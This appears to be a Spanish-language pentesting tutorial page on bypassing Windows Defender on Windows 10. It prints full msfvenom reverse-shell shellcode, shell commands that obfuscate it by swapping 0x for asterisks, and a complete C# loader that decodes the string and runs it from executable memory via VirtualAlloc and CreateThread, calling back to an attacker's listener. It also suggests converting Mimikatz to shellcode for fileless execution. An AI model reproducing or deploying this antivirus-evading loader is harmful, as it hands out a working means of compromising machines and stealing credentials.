Bypass Windows Defender Win10

En este apartado vamos a centrarnos en cómo ofuscar aún más el exploit que estamos desarrollando, con el objetivo de que Windows Defender no detecte el payload generado por msfvenom y así lograr un bypass efectivo.

Aplicaremos técnicas adicionales de evasión, como la ofuscación del shellcode, cifrado en tiempo de ejecución y otras modificaciones que rompen las firmas estáticas y heurísticas utilizadas por los motores antivirus avanzados como Defender.

El plan es coger el payload, ofuscarlo y almacenarlo en un formato alterado, de modo que cuando Windows Defender revise el código no vea la secuencia de bytes 0x… en claro. Después, dentro del propio exploit, reconstruimos esos datos en memoria y los convertimos de nuevo en bytes justo antes de inyectarlos.

Entonces lo que vamos a hacer es coger el payload:

echo "0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x8b,0x72,0x28,0x31,0xff,0x0f,0xb7,0x4a,0x26,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,
0x01,0xc7,0x49,0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,
0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,
0x8b,0x48,0x18,0x50,0x8b,0x58,0x20,0x01,0xd3,0x85,0xc9,0x74,..." > payload.txt

Lo metemos en un archivo payload.txt y ejecutamos el siguiente comando para cambiar el 0x por * quitar las comas y los saltos de línea


cat payload.txt | sed 's/0x/*/g' | tr -d ', \n\r\t' > payload_final.txt

cat payload_final.txt

*fc*e8*8f*00*00*00*60*89*e5*31*d2*64*8b*52*30*8b*52*0c*8b*52*14*8b*72*28*31*ff*0f*b7*4a*26*31*c0*ac*3c*61*7c*02*2c*20*c1*cf*0d*01*c7*49*75*ef*52*57*8b*52*10*8b*42*3c*01*d0*8b*40*78*85*c0*74*4c*01*d0*8b*48*18*50*8b*58*20*01*d3*85*c9*74*3c*49*8b*34*8b*01*d6*31*ff*31*c0*c1*cf*0d*ac*01*c7*38*e0*75*f4*03*7d*f8*3b*7d*24*75*e0*58*8b*58*24*01*d3*66*8b*0c*4b*8b*58*1c*01*d3*8b*04*8b*01*d0*89*44*24*24*5b*5b*61*59*5a*51*ff*e0*58*5f*5a*8b*12*e9*80*ff*ff*ff*5d*68*33*32*00*00*68*77*73*32*5f*54*68*4c*77*26*07*89*e8*ff*d0*b8*90*01*00*00*29*c4*54*50*68*29*80*6b*00*ff*d5*6a*0a*68*c0*a8*c8*80*68*02*00*15*b3*89*e6*50*50*50*50*40*50*40*50*68*ea*0f*df*e0*ff*d5*97*6a*10*56*57*68*99*a5*74*61*ff*d5*85*c0*74*0a*ff*4e*08*75*ec*e8*67*00*00*00*6a*00*6a*04*56*57*68*02*d9*c8*5f*ff*d5*83*f8*00*7e*36*8b*36*6a*40*68*00*10*00*00*56*6a*00*68*58*a4*53*e5*ff*d5*93*53*6a*00*56*53*57*68*02*d9*c8*5f*ff*d5*83*f8*00*7d*28*58*68*00*40*00*00*6a*00*50*68*0b*2f*0f*30*ff*d5*57*68*75*6e*4d*61*ff*d5*5e*5e*ff*0c*24*0f*85*70*ff*ff*ff*e9*9b*ff*ff*ff*01*c3*29*c6*75*c1*c3*bb*f0*b5*a2*56*6a*00*53*ff*d5

Una vez tenemos el payload ofuscado, lo que debemos hacer en el código C# es almacenarlo como un string común. A continuación, implementaremos una rutina que lo desofusque y lo convierta en el array de bytes necesario para su ejecución.

De este modo, evitamos que Windows Defender detecte directamente el shellcode al analizar el código fuente, ya que no verá los bytes en su forma habitual (0x...). En lugar de eso, verá una cadena inofensiva que luego transformamos dinámicamente en memoria. Al utilizar un esquema de ofuscación (por ejemplo, sustituyendo 0x por *, o cualquier otro método), podemos eludir las firmas estáticas y personalizar fácilmente el mecanismo para romper la detección.

using System;
using System.CodeDom;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;

namespace Win32

{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
        static void Main (String[] args)
        {
        
			# Definimos el payload con string        
            String payload = "*fc*e8*8f*00*00*00*60*89*e5*31*d2*64*8b*52*30*8b*52*0c*8b*52*14*8b*72*28*31*ff*0f*b7*4a*26*31*c0*ac*3c*61*7c*02*2c*20*c1*cf*0d*01*c7*49*75*ef*52*57*8b*52*10*8b*42*3c*01*d0*8b*40*78*85*c0*74*4c*01*d0*8b*48*18*50*8b*58*20*01*d3*85*c9*74*3c*49*8b*34*8b*01*d6*31*ff*31*c0*c1*cf*0d*ac*01*c7*38*e0*75*f4*03*7d*f8*3b*7d*24*75*e0*58*8b*58*24*01*d3*66*8b*0c*4b*8b*58*1c*01*d3*8b*04*8b*01*d0*89*44*24*24*5b*5b*61*59*5a*51*ff*e0*58*5f*5a*8b*12*e9*80*ff*ff*ff*5d*68*33*32*00*00*68*77*73*32*5f*54*68*4c*77*26*07*89*e8*ff*d0*b8*90*01*00*00*29*c4*54*50*68*29*80*6b*00*ff*d5*6a*0a*68*c0*a8*c8*80*68*02*00*15*b3*89*e6*50*50*50*50*40*50*40*50*68*ea*0f*df*e0*ff*d5*97*6a*10*56*57*68*99*a5*74*61*ff*d5*85*c0*74*0a*ff*4e*08*75*ec*e8*67*00*00*00*6a*00*6a*04*56*57*68*02*d9*c8*5f*ff*d5*83*f8*00*7e*36*8b*36*6a*40*68*00*10*00*00*56*6a*00*68*58*a4*53*e5*ff*d5*93*53*6a*00*56*53*57*68*02*d9*c8*5f*ff*d5*83*f8*00*7d*28*58*68*00*40*00*00*6a*00*50*68*0b*2f*0f*30*ff*d5*57*68*75*6e*4d*61*ff*d5*5e*5e*ff*0c*24*0f*85*70*ff*ff*ff*e9*9b*ff*ff*ff*01*c3*29*c6*75*c1*c3*bb*f0*b5*a2*56*6a*00*53*ff*d5";

			# En este trozo lo desofuscamos y lo metemos en un array llamado payload_final
            string[] temp_payload = payload.Split('*');

            byte[] paylaod_final = new byte[temp_payload.Length];

            for (int i = 0; i < paylaod_final.Length; i++)
            {
                paylaod_final[i] = Convert.ToByte(temp_payload[i], 16);
            }


            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Iniciando Payload");

            IntPtr funcAdrr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(paylaod_final, 0, funcAdrr, paylaod_final.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAdrr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xffffffff);
        }
    }
}

Al ejecutar esto recibimos la consola por multi/handler

Otras formas

  • Darle la vuelta al shellcode, https://yupana-engineering.com/online-reverse-byte-array y luego con la funcion Array.Reverse(); darle la vuelta y poner el shellcode bien

  • La herramienta Exe2Shell permite convertir un binario en shellcode. Esto significa que, por ejemplo, si tomamos un binario como Mimikatz y lo transformamos en shellcode, podemos integrarlo en un ejecutable como el que hemos desarrollado anteriormente. En lugar de lanzar una reverse shell, ese nuevo ejecutable ejecutará Mimikatz directamente desde memoria.

Además, esta técnica también puede usarse como una capa adicional de ofuscación: primero generamos un binario con un payload (por ejemplo, una reverse shell), lo convertimos en shellcode con Exe2Shell, y después lo incrustamos en otro binario que actuará como loader. De esta forma, aumentamos la evasión frente a soluciones de seguridad al encapsular el payload varias veces y ejecutarlo de forma fileless.

  • https://damonmohammadbagher.github.io/Posts/ebookBypassingAVsByCsharpProgramming/index.htm?page=Chapter%2013.html

Última actualización